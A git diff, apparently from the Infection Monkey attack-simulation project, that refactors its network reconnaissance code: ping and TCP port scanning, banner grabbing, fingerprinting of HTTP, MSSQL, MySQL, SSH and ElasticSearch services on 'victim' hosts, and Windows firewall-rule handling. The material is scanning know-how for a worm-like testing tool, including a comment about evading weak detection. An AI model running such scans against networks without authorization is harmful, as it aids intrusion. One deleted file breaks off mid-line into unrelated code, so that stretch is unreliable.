host.services[ES_SERVICE]["cluster_name"] = data["cluster_name"] - host.services[ES_SERVICE]["name"] = data["name"] - host.services[ES_SERVICE]["version"] = data["version"]["number"] - return True - except Timeout: - logger.debug("Got timeout while trying to read header information") - except ConnectionError: # Someone doesn't like us - logger.debug("Unknown connection error") - except KeyError: - logger.debug("Failed parsing the ElasticSearch JSOn response") - return False diff --git a/monkey/infection_monkey/network/firewall.py b/monkey/infection_monkey/network/firewall.py index 0851a575f..e3edcff66 100644 --- a/monkey/infection_monkey/network/firewall.py +++ b/monkey/infection_monkey/network/firewall.py @@ -1,18 +1,23 @@ +import logging import platform import subprocess import sys +from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT + +logger = logging.getLogger(__name__) + def _run_netsh_cmd(command, args): - cmd = subprocess.Popen( + output = subprocess.check_output( "netsh %s %s" % ( command, " ".join(['%s="%s"' % (key, value) for key, value in list(args.items()) if value]), ), - stdout=subprocess.PIPE, + timeout=SHORT_REQUEST_TIMEOUT, ) - return cmd.stdout.read().strip().lower().endswith("ok.") + return output.strip().lower().endswith(b"ok.") class FirewallApp(object): @@ -44,19 +49,23 @@ class WinAdvFirewall(FirewallApp): def is_enabled(self): try: - cmd = subprocess.Popen("netsh advfirewall show currentprofile", stdout=subprocess.PIPE) - out = cmd.stdout.readlines() - - for line in out: - if line.startswith("State"): - state = line.split()[-1].strip() - - return state == "ON" + out = subprocess.check_output( + "netsh advfirewall show currentprofile", timeout=SHORT_REQUEST_TIMEOUT + ) + except subprocess.TimeoutExpired: + return None except Exception: return None + for line in out.decode().splitlines(): + if line.startswith("State"): + state = line.split()[-1].strip() + return state == "ON" + + return None + def add_firewall_rule( - self, name="Firewall", direction="in", action="allow", program=sys.executable, **kwargs + self, name="MonkeyRule", direction="in", action="allow", program=sys.executable, **kwargs ): netsh_args = {"name": name, "dir": direction, "action": action, "program": program} netsh_args.update(kwargs) @@ -66,8 +75,11 @@ class WinAdvFirewall(FirewallApp): return True else: return False - except Exception: - return None + except subprocess.CalledProcessError as err: + logger.info(f"Failed adding a firewall rule: {err.stdout}") + except subprocess.TimeoutExpired: + logger.info("Timeout expired trying to add a firewall rule.") + return None def remove_firewall_rule(self, name="Firewall", **kwargs): netsh_args = {"name": name} diff --git a/monkey/infection_monkey/network/httpfinger.py b/monkey/infection_monkey/network/httpfinger.py deleted file mode 100644 index 99e9deaab..000000000 --- a/monkey/infection_monkey/network/httpfinger.py +++ /dev/null @@ -1,47 +0,0 @@ -import logging - -import infection_monkey.config -from infection_monkey.network.HostFinger import HostFinger - -logger = logging.getLogger(__name__) - - -class HTTPFinger(HostFinger): - """ - Goal is to recognise HTTP servers, where what we currently care about is apache. - """ - - _SCANNED_SERVICE = "HTTP" - - def __init__(self): - self._config = infection_monkey.config.WormConfiguration - self.HTTP = [(port, str(port)) for port in self._config.HTTP_PORTS] - - def get_host_fingerprint(self, host): - from contextlib import closing - - from requests import head - from requests.exceptions import ConnectionError, Timeout - - for port in self.HTTP: - # check both http and https - http = "http://" + host.ip_addr + ":" + port[1] - https = "https://" + host.ip_addr + ":" + port[1] - - # try http, we don't optimise for 443 - for url in (https, http): # start with https and downgrade - try: - with closing(head(url, verify=False, timeout=1)) as req: # noqa: DUO123 - server = req.headers.get("Server") - ssl = True if "https://" in url else False - self.init_service(host.services, ("tcp-" + port[1]), port[0]) - host.services["tcp-" + port[1]]["name"] = "http" - host.services["tcp-" + port[1]]["data"] = (server, ssl) - logger.info("Port %d is open on host %s " % (port[0], host)) - break # https will be the same on the same port - except Timeout: - logger.debug(f"Timeout while requesting headers from {url}") - except ConnectionError: # Someone doesn't like us - logger.debug(f"Connection error while requesting headers from {url}") - - return True diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index e262feb19..e26df1989 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -1,22 +1,36 @@ import itertools import socket import struct +from collections import namedtuple +from ipaddress import IPv4Network from random import randint # noqa: DUO102 +from typing import List import netifaces import psutil -from common.network.network_range import CidrRange from infection_monkey.utils.environment import is_windows_os # Timeout for monkey connections -TIMEOUT = 15 LOOPBACK_NAME = b"lo" SIOCGIFADDR = 0x8915 # get PA address SIOCGIFNETMASK = 0x891B # get network PA mask RTF_UP = 0x0001 # Route usable RTF_REJECT = 0x0200 +NetworkInterface = namedtuple("NetworkInterface", ("address", "netmask")) +NetworkAddress = namedtuple("NetworkAddress", ("ip", "domain")) + + +def get_local_network_interfaces() -> List[NetworkInterface]: + network_interfaces = [] + for i in get_host_subnets(): + netmask_bits = IPv4Network(f"{i['addr']}/{i['netmask']}", strict=False).prefixlen + cidr_netmask = f"/{netmask_bits}" + network_interfaces.append(NetworkInterface(i["addr"], cidr_netmask)) + + return network_interfaces + def get_host_subnets(): """ @@ -52,7 +66,6 @@ if is_windows_os(): def get_routes(): raise NotImplementedError() - else: from fcntl import ioctl @@ -121,19 +134,3 @@ def get_free_tcp_port(min_range=1024, max_range=65535): return port return None - - -def get_interfaces_ranges(): - """ - Returns a list of IPs accessible in the host in each network interface, in the subnet. - Limits to a single class C if the network is larger - :return: List of IPs, marked as strings. - """ - res = [] - ifs = get_host_subnets() - for net_interface in ifs: - address_str = net_interface["addr"] - netmask_str = net_interface["netmask"] - # limit subnet scans to class C only - res.append(CidrRange(cidr_range="%s/%s" % (address_str, netmask_str))) - return res diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py deleted file mode 100644 index 3c25af149..000000000 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ /dev/null @@ -1,91 +0,0 @@ -import errno -import logging -import socket - -import infection_monkey.config -from infection_monkey.network.HostFinger import HostFinger - -logger = logging.getLogger(__name__) - - -class MSSQLFinger(HostFinger): - # Class related consts - SQL_BROWSER_DEFAULT_PORT = 1434 - BUFFER_SIZE = 4096 - TIMEOUT = 5 - _SCANNED_SERVICE = "MSSQL" - - def __init__(self): - self._config = infection_monkey.config.WormConfiguration - - def get_host_fingerprint(self, host): - """Gets Microsoft SQL Server instance information by querying the SQL Browser service. - :arg: - host (VictimHost): The MS-SSQL Server to query for information. - - :returns: - Discovered server information written to the Host info struct. - True if success, False otherwise. - """ - - # Create a UDP socket and sets a timeout - sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - sock.settimeout(self.TIMEOUT) - server_address = (str(host.ip_addr), self.SQL_BROWSER_DEFAULT_PORT) - - # The message is a CLNT_UCAST_EX packet to get all instances - # https://msdn.microsoft.com/en-us/library/cc219745.aspx - message = "\x03" - - # Encode the message as a bytesarray - message = message.encode() - - # send data and receive response - try: - logger.info("Sending message to requested host: {0}, {1}".format(host, message)) - sock.sendto(message, server_address) - data, server = sock.recvfrom(self.BUFFER_SIZE) - except socket.timeout: - logger.info( - "Socket timeout reached, maybe browser service on host: {0} doesnt " - "exist".format(host) - ) - sock.close() - return False - except socket.error as e: - if e.errno == errno.ECONNRESET: - logger.info( - "Connection was forcibly closed by the remote host. The host: {0} is " - "rejecting the packet.".format(host) - ) - else: - logger.error( - "An unknown socket error occurred while trying the mssql fingerprint, " - "closing socket.", - exc_info=True, - ) - sock.close() - return False - - self.init_service( - host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT - ) - - # Loop through the server data - instances_list = data[3:].decode().split(";;") - logger.info("{0} MSSQL instances found".format(len(instances_list))) - for instance in instances_list: - instance_info = instance.split(";") - if len(instance_info) > 1: - host.services[self._SCANNED_SERVICE][instance_info[1]] = {} - for i in range(1, len(instance_info), 2): - # Each instance's info is nested under its own name, if there are multiple - # instances - # each will appear under its own name - host.services[self._SCANNED_SERVICE][instance_info[1]][ - instance_info[i - 1] - ] = instance_info[i] - # Close the socket - sock.close() - - return True diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py deleted file mode 100644 index d0bc14dc6..000000000 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ /dev/null @@ -1,85 +0,0 @@ -import logging -import socket - -import infection_monkey.config -from infection_monkey.network.HostFinger import HostFinger -from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string - -MYSQL_PORT = 3306 -SQL_SERVICE = "mysqld-3306" -logger = logging.getLogger(__name__) - - -class MySQLFinger(HostFinger): - """ - Fingerprints mysql databases, only on port 3306 - """ - - _SCANNED_SERVICE = "MySQL" - SOCKET_TIMEOUT = 0.5 - HEADER_SIZE = 4 # in bytes - - def __init__(self): - self._config = infection_monkey.config.WormConfiguration - - def get_host_fingerprint(self, host): - """ - Returns mySQLd data using the host header - :param host: - :return: Success/failure, data is saved in the host struct - """ - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(self.SOCKET_TIMEOUT) - - try: - s.connect((host.ip_addr, MYSQL_PORT)) - header = s.recv(self.HEADER_SIZE) # max header size? - - response, curpos = struct_unpack_tracker(header, 0, "I") - response = response[0] - response_length = response & 0xFF # first byte is significant - data = s.recv(response_length) - # now we can start parsing - protocol, curpos = struct_unpack_tracker(data, 0, "B") - protocol = protocol[0] - - if protocol == 0xFF: - # error code, bug out - logger.debug("Mysql server returned error") - return False - - version, curpos = struct_unpack_tracker_string( - data, curpos - ) # special coded to solve string parsing - version = version[0].decode() - self.init_service(host.services, SQL_SERVICE, MYSQL_PORT) - host.services[SQL_SERVICE]["version"] = version - version = version.split("-")[0].split(".") - host.services[SQL_SERVICE]["major_version"] = version[0] - host.services[SQL_SERVICE]["minor_version"] = version[1] - host.services[SQL_SERVICE]["build_version"] = version[2] - thread_id, curpos = struct_unpack_tracker(data, curpos, " 1: - for subnet_str in WormConfiguration.inaccessible_subnets: - if NetworkScanner._is_any_ip_in_subnet( - [str(x) for x in self._ip_addresses], subnet_str - ): - # If machine has IPs from 2 different subnets in the same group, there's no - # point checking the other - # subnet. - for other_subnet_str in WormConfiguration.inaccessible_subnets: - if other_subnet_str == subnet_str: - continue - if not NetworkScanner._is_any_ip_in_subnet( - [str(x) for x in self._ip_addresses], other_subnet_str - ): - subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str)) - break - - return subnets_to_scan - - def get_victim_machines(self, max_find=5, stop_callback=None): - """ - Finds machines according to the ranges specified in the object - :param max_find: Max number of victims to find regardless of ranges - :param stop_callback: A callback to check at any point if we should stop scanning - :return: yields a sequence of VictimHost instances - """ - # We currently use the ITERATION_BLOCK_SIZE as the pool size, however, this may not be - # the best decision - # However, the decision what ITERATION_BLOCK_SIZE also requires balancing network usage ( - # pps and bw) - # Because we are using this to spread out IO heavy tasks, we can probably go a lot higher - # than CPU core size - # But again, balance - pool = Pool(ITERATION_BLOCK_SIZE) - victim_generator = VictimHostGenerator( - self._ranges, WormConfiguration.blocked_ips, local_ips() - ) - - victims_count = 0 - for victim_chunk in victim_generator.generate_victims(ITERATION_BLOCK_SIZE): - logger.debug("Scanning for potential victims in chunk %r", victim_chunk) - - # check before running scans - if stop_callback and stop_callback(): - logger.debug("Got stop signal") - return - - results = pool.map(self.scan_machine, victim_chunk) - resulting_victims = [x for x in results if x is not None] - for victim in resulting_victims: - logger.debug("Found potential victim: %r", victim) - victims_count += 1 - yield victim - - if victims_count >= max_find: - logger.debug("Found max needed victims (%d), stopping scan", max_find) - return - if WormConfiguration.tcp_scan_interval: - # time.sleep uses seconds, while config is in milliseconds - time.sleep(WormConfiguration.tcp_scan_interval / float(1000)) - - @staticmethod - def _is_any_ip_in_subnet(ip_addresses, subnet_str): - for ip_address in ip_addresses: - if NetworkRange.get_range_obj(subnet_str).is_in_range(ip_address): - return True - return False - - def scan_machine(self, victim): - """ - Scans specific machine using instance scanners - :param victim: VictimHost machine - :return: Victim or None if victim isn't alive - """ - logger.debug("Scanning target address: %r", victim) - if any(scanner.is_host_alive(victim) for scanner in self.scanners): - logger.debug("Found potential target_ip: %r", victim) - return victim - else: - return None - - def on_island(self, server): - return bool([x for x in self._ip_addresses if x in server]) diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py deleted file mode 100644 index 388c5916d..000000000 --- a/monkey/infection_monkey/network/ping_scanner.py +++ /dev/null @@ -1,79 +0,0 @@ -import logging -import os -import re -import subprocess -import sys - -import infection_monkey.config -from infection_monkey.network.HostFinger import HostFinger -from infection_monkey.network.HostScanner import HostScanner - -PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c" -PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W" -TTL_REGEX_STR = r"(?<=TTL\=)[0-9]+" -LINUX_TTL = 64 -WINDOWS_TTL = 128 - -logger = logging.getLogger(__name__) - - -class PingScanner(HostScanner, HostFinger): - _SCANNED_SERVICE = "" - - def __init__(self): - self._timeout = infection_monkey.config.WormConfiguration.ping_scan_timeout - if not "win32" == sys.platform: - self._timeout /= 1000 - - self._devnull = open(os.devnull, "w") - self._ttl_regex = re.compile(TTL_REGEX_STR, re.IGNORECASE) - - def is_host_alive(self, host): - ping_cmd = self._build_ping_command(host.ip_addr) - logger.debug(f"Running ping command: {' '.join(ping_cmd)}") - - return 0 == subprocess.call( - ping_cmd, - stdout=self._devnull, - stderr=self._devnull, - ) - - def get_host_fingerprint(self, host): - ping_cmd = self._build_ping_command(host.ip_addr) - logger.debug(f"Running ping command: {' '.join(ping_cmd)}") - - # If stdout is not connected to a terminal (i.e. redirected to a pipe or file), the result - # of os.device_encoding(1) will be None. Setting errors="backslashreplace" prevents a crash - # in this case. See #1175 and #1403 for more information. - encoding = os.device_encoding(1) - sub_proc = subprocess.Popen( - ping_cmd, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - text=True, - encoding=encoding, - errors="backslashreplace", - ) - - logger.debug(f"Retrieving ping command output using {encoding} encoding") - output = " ".join(sub_proc.communicate()) - regex_result = self._ttl_regex.search(output) - if regex_result: - try: - ttl = int(regex_result.group(0)) - if ttl <= LINUX_TTL: - host.os["type"] = "linux" - else: # as far we we know, could also be OSX/BSD but lets handle that when it - # comes up. - host.os["type"] = "windows" - - host.icmp = True - - return True - except Exception as exc: - logger.debug("Error parsing ping fingerprint: %s", exc) - - return False - - def _build_ping_command(self, ip_addr): - return ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(self._timeout), ip_addr] diff --git a/monkey/infection_monkey/network/sshfinger.py b/monkey/infection_monkey/network/sshfinger.py deleted file mode 100644 index 59c0395a9..000000000 --- a/monkey/infection_monkey/network/sshfinger.py +++ /dev/null @@ -1,55 +0,0 @@ -import re - -import infection_monkey.config -from infection_monkey.network.HostFinger import HostFinger -from infection_monkey.network.tools import check_tcp_port - -SSH_PORT = 22 -SSH_SERVICE_DEFAULT = "tcp-22" -SSH_REGEX = r"SSH-\d\.\d-OpenSSH" -TIMEOUT = 10 -BANNER_READ = 1024 -LINUX_DIST_SSH = ["ubuntu", "debian"] - - -class SSHFinger(HostFinger): - _SCANNED_SERVICE = "SSH" - - def __init__(self): - self._config = infection_monkey.config.WormConfiguration - self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE) - - @staticmethod - def _banner_match(service, host, banner): - host.services[service]["name"] = "ssh" - for dist in LINUX_DIST_SSH: - if banner.lower().find(dist) != -1: - host.os["type"] = "linux" - os_version = banner.split(" ").pop().strip() - if "version" not in host.os: - host.os["version"] = os_version - else: - host.services[service]["os-version"] = os_version - break - - def get_host_fingerprint(self, host): - - for name, data in list(host.services.items()): - banner = data.get("banner", "") - if self._banner_regex.search(banner): - self._banner_match(name, host, banner) - host.services[SSH_SERVICE_DEFAULT]["display_name"] = self._SCANNED_SERVICE - return - - is_open, banner = check_tcp_port(host.ip_addr, SSH_PORT, TIMEOUT, True) - - if is_open: - self.init_service(host.services, SSH_SERVICE_DEFAULT, SSH_PORT) - - if banner: - host.services[SSH_SERVICE_DEFAULT]["banner"] = banner - if self._banner_regex.search(banner): - self._banner_match(SSH_SERVICE_DEFAULT, host, banner) - return True - - return False diff --git a/monkey/infection_monkey/network/tcp_scanner.py b/monkey/infection_monkey/network/tcp_scanner.py deleted file mode 100644 index 176bde387..000000000 --- a/monkey/infection_monkey/network/tcp_scanner.py +++ /dev/null @@ -1,49 +0,0 @@ -from itertools import zip_longest -from random import shuffle # noqa: DUO102 - -import infection_monkey.config -from infection_monkey.network.HostFinger import HostFinger -from infection_monkey.network.HostScanner import HostScanner -from infection_monkey.network.tools import check_tcp_ports, tcp_port_to_service - -BANNER_READ = 1024 - - -class TcpScanner(HostScanner, HostFinger): - _SCANNED_SERVICE = "unknown(TCP)" - - def __init__(self): - self._config = infection_monkey.config.WormConfiguration - - def is_host_alive(self, host): - return self.get_host_fingerprint(host, True) - - def get_host_fingerprint(self, host, only_one_port=False): - """ - Scans a target host to see if it's alive using the tcp_target_ports specified in the - configuration. - :param host: VictimHost structure - :param only_one_port: Currently unused. - :return: T/F if there is at least one open port. - In addition, the host object is updated to mark those services as alive. - """ - - # maybe hide under really bad detection systems - target_ports = self._config.tcp_target_ports[:] - shuffle(target_ports) - - ports, banners = check_tcp_ports( - host.ip_addr, - target_ports, - self._config.tcp_scan_timeout / 1000.0, - self._config.tcp_scan_get_banner, - ) - for target_port, banner in zip_longest(ports, banners, fillvalue=None): - service = tcp_port_to_service(target_port) - self.init_service(host.services, service, target_port) - if banner: - host.services[service]["banner"] = banner - if only_one_port: - break - - return len(ports) != 0 diff --git a/monkey/infection_monkey/network/tools.py b/monkey/infection_monkey/network/tools.py index 9d6878cb9..c612a7e48 100644 --- a/monkey/infection_monkey/network/tools.py +++ b/monkey/infection_monkey/network/tools.py @@ -3,43 +3,14 @@ import select import socket import struct import sys -import time -from common.network.network_utils import get_host_from_network_location -from infection_monkey.config import WormConfiguration -from infection_monkey.network.info import get_routes, local_ips +from common.common_consts.timeouts import CONNECTION_TIMEOUT +from infection_monkey.network.info import get_routes -DEFAULT_TIMEOUT = 10 +DEFAULT_TIMEOUT = CONNECTION_TIMEOUT BANNER_READ = 1024 logger = logging.getLogger(__name__) -SLEEP_BETWEEN_POLL = 0.5 - - -def struct_unpack_tracker(data, index, fmt): - """ - Unpacks a struct from the specified index according to specified format. - Returns the data and the next index - :param data: Buffer - :param index: Position index - :param fmt: Struct format - :return: (Data, new index) - """ - unpacked = struct.unpack_from(fmt, data, index) - return unpacked, struct.calcsize(fmt) - - -def struct_unpack_tracker_string(data, index): - """ - Unpacks a null terminated string from the specified index - Returns the data and the next index - :param data: Buffer - :param index: Position index - :return: (Data, new index) - """ - ascii_len = data[index:].find(b"\0") - fmt = "%ds" % ascii_len - return struct_unpack_tracker(data, index, fmt) def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): @@ -76,84 +47,6 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False): return True, banner -def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False): - """ - Checks whether any of the given ports are open on a target IP. - :param ip: IP of host to attack - :param ports: List of ports to attack. Must not be empty. - :param timeout: Amount of time to wait for connection - :param get_banner: T/F if to get first packets from server - :return: list of open ports. If get_banner=True, then a matching list of banners. - """ - sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))] - [s.setblocking(False) for s in sockets] - possible_ports = [] - connected_ports_sockets = [] - try: - logger.debug("Connecting to the following ports %s" % ",".join((str(x) for x in ports))) - for sock, port in zip(sockets, ports): - err = sock.connect_ex((ip, port)) - if err == 0: # immediate connect - connected_ports_sockets.append((port, sock)) - possible_ports.append((port, sock)) - continue - if err == 10035: # WSAEWOULDBLOCK is valid, see - # https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29 - # .aspx?f=255&MSPPError=-2147217396 - possible_ports.append((port, sock)) - continue - if err == 115: # EINPROGRESS 115 /* Operation now in progress */ - possible_ports.append((port, sock)) - continue - logger.warning("Failed to connect to port %s, error code is %d", port, err) - - if len(possible_ports) != 0: - timeout = int(round(timeout)) # clamp to integer, to avoid checking input - sockets_to_try = possible_ports[:] - connected_ports_sockets = [] - while (timeout >= 0) and sockets_to_try: - sock_objects = [s[1] for s in sockets_to_try] - - _, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0) - for s in writeable_sockets: - try: # actual test - connected_ports_sockets.append((s.getpeername()[1], s)) - except socket.error: # bad socket, select didn't filter it properly - pass - sockets_to_try = [s for s in sockets_to_try if s not in connected_ports_sockets] - if sockets_to_try: - time.sleep(SLEEP_BETWEEN_POLL) - timeout -= SLEEP_BETWEEN_POLL - - logger.debug( - "On host %s discovered the following ports %s" - % (str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])) - ) - banners = [] - if get_banner and (len(connected_ports_sockets) != 0): - readable_sockets, _, _ = select.select( - [s[1] for s in connected_ports_sockets], [], [], 0 - ) - # read first BANNER_READ bytes. We ignore errors because service might not send a - # decodable byte string. - banners = [ - sock.recv(BANNER_READ).decode(errors="ignore") - if sock in readable_sockets - else "" - for port, sock in connected_ports_sockets - ] - pass - # try to cleanup - [s[1].close() for s in possible_ports] - return [port for port, sock in connected_ports_sockets], banners - else: - return [], [] - - except socket.error as exc: - logger.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) - return [], [] - - def tcp_port_to_service(port): return "tcp-" + str(port) @@ -197,13 +90,3 @@ def get_interface_to_target(dst): paths.sort() ret = paths[-1][1] return ret[1] - - -def is_running_on_island(): - current_server_without_port = get_host_from_network_location(WormConfiguration.current_server) - running_on_island = is_running_on_server(current_server_without_port) - return running_on_island and WormConfiguration.depth == WormConfiguration.max_depth - - -def is_running_on_server(ip: str) -> bool: - return ip in local_ips() diff --git a/monkey/infection_monkey/network_scanning/__init__.py b/monkey/infection_monkey/network_scanning/__init__.py new file mode 100644 index 000000000..8e97b0ec4 --- /dev/null +++ b/monkey/infection_monkey/network_scanning/__init__.py @@ -0,0 +1,2 @@ +from .ping_scanner import ping +from .tcp_scanner import scan_tcp_ports diff --git a/monkey/infection_monkey/network_scanning/elasticsearch_fingerprinter.py b/monkey/infection_monkey/network_scanning/elasticsearch_fingerprinter.py new file mode 100644 index 000000000..cbdce5812 --- /dev/null +++ b/monkey/infection_monkey/network_scanning/elasticsearch_fingerprinter.py @@ -0,0 +1,65 @@ +import logging +from contextlib import closing +from typing import Any, Dict + +import requests + +from common.common_consts.network_consts import ES_SERVICE +from infection_monkey.i_puppet import ( + FingerprintData, + IFingerprinter, + PingScanData, + PortScanData, + PortStatus, +) + +DISPLAY_NAME = "ElasticSearch" +ES_PORT = 9200 +ES_HTTP_TIMEOUT = 5 +logger = logging.getLogger(__name__) + + +class ElasticSearchFingerprinter(IFingerprinter): + """ + Fingerprints elastic search clusters, only on port 9200 + """ + + def get_host_fingerprint( + self, + host: str, + _ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + _options: Dict, + ) -> FingerprintData: + services = {} + + if (ES_PORT not in port_scan_data) or (port_scan_data[ES_PORT].status != PortStatus.OPEN): + return FingerprintData(None, None, services) + + try: + elasticsearch_info = _query_elasticsearch(host) + services[ES_SERVICE] = _get_service_from_query_info(elasticsearch_info) + except Exception as ex: + logger.debug(f"Did not detect an ElasticSearch cluster: {ex}") + + return FingerprintData(None, None, services) + + +def _query_elasticsearch(host: str) -> Dict[str, Any]: + url = "http://%s:%s/" % (host, ES_PORT) + logger.debug(f"Sending request to {url}") + with closing(requests.get(url, timeout=ES_HTTP_TIMEOUT)) as response: + return response.json() + + +def _get_service_from_query_info(elasticsearch_info: Dict[str, Any]) -> Dict[str, Any]: + try: + return { + "display_name": DISPLAY_NAME, + "port": ES_PORT, + "cluster_name": elasticsearch_info["cluster_name"], + "name": elasticsearch_info["name"], + "version": elasticsearch_info["version"]["number"], + } + except KeyError as ke: + raise Exception(f"Unable to find the key {ke} in the server's response") from ke diff --git a/monkey/infection_monkey/network_scanning/http_fingerprinter.py b/monkey/infection_monkey/network_scanning/http_fingerprinter.py new file mode 100644 index 000000000..4c738e1ba --- /dev/null +++ b/monkey/infection_monkey/network_scanning/http_fingerprinter.py @@ -0,0 +1,91 @@ +import logging +from contextlib import closing +from typing import Any, Dict, Iterable, Optional, Set, Tuple + +from requests import head +from requests.exceptions import ConnectionError, Timeout + +from infection_monkey.i_puppet import ( + FingerprintData, + IFingerprinter, + PingScanData, + PortScanData, + PortStatus, +) + +logger = logging.getLogger(__name__) + +DISPLAY_NAME = "HTTP" + + +class HTTPFingerprinter(IFingerprinter): + """ + Queries potential HTTP(S) ports and attempt to determine the server software that handles the + HTTP requests. + """ + + def get_host_fingerprint( + self, + host: str, + _: PingScanData, + port_scan_data: Dict[int, PortScanData], + options: Dict, + ) -> FingerprintData: + services = {} + http_ports = set(options.get("http_ports", [])) + ports_to_fingerprint = _get_open_http_ports(http_ports, port_scan_data) + + for port in ports_to_fingerprint: + server_header_contents, ssl = _query_potential_http_server(host, port) + + if server_header_contents is not None: + services[f"tcp-{port}"] = { + "display_name": DISPLAY_NAME, + "port": port, + "name": "http", + "data": (server_header_contents, ssl), + } + + return FingerprintData(None, None, services) + + +def _query_potential_http_server(host: str, port: int) -> Tuple[Optional[str], Optional[bool]]: + # check both http and https + http = f"http://{host}:{port}" + https = f"https://{host}:{port}" + + for url, ssl in ((https, True), (http, False)): # start with https and downgrade + server_header = _get_server_from_headers(url) + + if server_header is not None: + return server_header, ssl + + return None, None + + +def _get_server_from_headers(url: str) -> Optional[str]: + headers = _get_http_headers(url) + if headers: + return headers.get("Server", "") + + return None + + +def _get_http_headers(url: str) -> Optional[Dict[str, Any]]: + try: + logger.debug(f"Sending request for headers to {url}") + with closing(head(url, verify=False, timeout=1)) as response: # noqa: DUO123 + return response.headers + except Timeout: + logger.debug(f"Timeout while requesting headers from {url}") + except ConnectionError: # Someone doesn't like us + logger.debug(f"Connection error while requesting headers from {url}") + + return None + + +def _get_open_http_ports( + allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData] +) -> Iterable[int]: + open_ports = (psd.port for psd in port_scan_data.values() if psd.status == PortStatus.OPEN) + return (port for port in open_ports if port in allowed_http_ports) diff --git a/monkey/infection_monkey/network_scanning/mssql_fingerprinter.py b/monkey/infection_monkey/network_scanning/mssql_fingerprinter.py new file mode 100644 index 000000000..18630aaa7 --- /dev/null +++ b/monkey/infection_monkey/network_scanning/mssql_fingerprinter.py @@ -0,0 +1,103 @@ +import errno +import logging +import socket +from typing import Any, Dict, Optional + +from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData + +MSSQL_SERVICE = "MSSQL" +DISPLAY_NAME = MSSQL_SERVICE +SQL_BROWSER_DEFAULT_PORT = 1434 +_BUFFER_SIZE = 4096 +_MSSQL_SOCKET_TIMEOUT = 5 + +logger = logging.getLogger(__name__) + + +class MSSQLFingerprinter(IFingerprinter): + def get_host_fingerprint( + self, + host: str, + _: PingScanData, + port_scan_data: Dict[int, PortScanData], + options: Dict, + ): + """Gets Microsoft SQL Server instance information by querying the SQL Browser service.""" + services = {} + + try: + data = _query_mssql_for_instance_data(host) + services = _get_services_from_server_data(data) + + except Exception as ex: + logger.debug(f"Did not detect an MSSQL server: {ex}") + + return FingerprintData(None, None, services) + + +def _query_mssql_for_instance_data(host: str) -> Optional[bytes]: + # Create a UDP socket and sets a timeout + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(_MSSQL_SOCKET_TIMEOUT) + + server_address = (host, SQL_BROWSER_DEFAULT_PORT) + + # The message is a CLNT_UCAST_EX packet to get all instances + # https://msdn.microsoft.com/en-us/library/cc219745.aspx + message = "\x03" + + # Encode the message as a bytes array + message = message.encode() + + # send data and receive response + try: + logger.info(f"Sending message to requested host: {host}, {message}") + sock.sendto(message, server_address) + data, _ = sock.recvfrom(_BUFFER_SIZE) + + return data + except socket.timeout as err: + logger.debug( + f"Socket timeout reached, maybe browser service on host: {host} doesnt " "exist" + ) + raise err + except socket.error as err: + if err.errno == errno.ECONNRESET: + error_message = ( + f"Connection was forcibly closed by the remote host. The host: {host} is " + "rejecting the packet." + ) + else: + error_message = ( + "An unknown socket error occurred while trying the mssql fingerprint, " + "closing socket." + ) + raise Exception(error_message) from err + finally: + sock.close() + + +def _get_services_from_server_data(data: bytes) -> Dict[str, Any]: + services = {MSSQL_SERVICE: {}} + services[MSSQL_SERVICE]["display_name"] = DISPLAY_NAME + services[MSSQL_SERVICE]["port"] = SQL_BROWSER_DEFAULT_PORT + + # Loop through the server data + mssql_instances = filter(lambda i: i != "", data[3:].decode().split(";;")) + + for instance in mssql_instances: + instance_info = instance.split(";") + if len(instance_info) > 1: + services[MSSQL_SERVICE][instance_info[1]] = {} + for i in range(1, len(instance_info), 2): + # Each instance's info is nested under its own name, if there are multiple + # instances + # each will appear under its own name + services[MSSQL_SERVICE][instance_info[1]][instance_info[i - 1]] = instance_info[i] + + logger.debug(f"Found MSSQL instance: {instance}") + + if len(services[MSSQL_SERVICE].keys()) == 2: + services = {} + + return services diff --git a/monkey/infection_monkey/network_scanning/ping_scanner.py b/monkey/infection_monkey/network_scanning/ping_scanner.py new file mode 100644 index 000000000..16fb2df96 --- /dev/null +++ b/monkey/infection_monkey/network_scanning/ping_scanner.py @@ -0,0 +1,94 @@ +import logging +import math +import os +import re +import subprocess +import sys + +from infection_monkey.i_puppet import PingScanData +from infection_monkey.utils.environment import is_windows_os + +TTL_REGEX = re.compile(r"TTL=([0-9]+)\b", re.IGNORECASE) +LINUX_TTL = 64 # Windows TTL is 128 +PING_EXIT_TIMEOUT = 10 +EMPTY_PING_SCAN = PingScanData(False, None) + +logger = logging.getLogger(__name__) + + +def ping(host: str, timeout: float) -> PingScanData: + try: + return 